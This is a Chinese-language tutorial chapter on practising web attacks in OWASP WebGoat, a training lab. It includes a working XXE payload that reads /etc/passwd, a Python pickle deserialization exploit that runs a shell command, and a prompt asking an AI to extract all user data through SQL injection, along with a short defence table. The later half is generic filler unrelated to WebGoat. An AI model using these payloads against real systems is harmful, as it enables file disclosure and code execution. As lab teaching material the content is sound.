OWASP WebGoat 實戰

啟動 WebGoat

docker run -p 8080:8080 -p 9090:9090 webgoat/webgoat

練習漏洞（Vibe Prompt）

「WebGoat 的 SQL Injection 關卡：幫我找出注入點並取得所有使用者資料。」

XXE 攻擊

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<comment>
  <text>&xxe;</text>
</comment>

不安全反序列化

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('cat /etc/passwd',))

payload = pickle.dumps(Exploit())

防護

| 漏洞 | 防護方式 | |------|---------| | XXE | 禁用外部實體解析 | | 不安全反序列化 | 使用安全的序列化格式 | | SSTI | 不將使用者輸入傳入模板引擎 | | SSRF | 限制伺服器請求的白名單 |

本章總結

理解核心概念與原理
掌握實作方法與技巧
熟悉常見問題與解決方案
能夠應用於實際專案

實作範例

基礎範例

# 本節提供一個完整的實作範例
# 讓你能夠將所學應用到實際專案中

步驟說明

初始化：設定開發環境與必要工具
資料準備：收集與整理所需資料
核心實作：實作主要功能與邏輯
測試驗證：確保功能正確運作
最佳化：調整效能與使用者體驗

常見錯誤

| 錯誤類型 | 可能原因 | 解決方法 | |---------|---------|---------| | 編譯錯誤 | 語法問題 | 檢查程式碼語法 | | 執行錯誤 | 環境問題 | 確認相依套件已安裝 | | 邏輯錯誤 | 演算法問題 | 逐步除錯與測試 | | 效能問題 | 效率問題 | 使用效能分析工具 |

程式碼範例

# 範例程式碼
import sys

def main():
    # 主程式邏輯
    print("Hello, World!")

if __name__ == "__main__":
    main()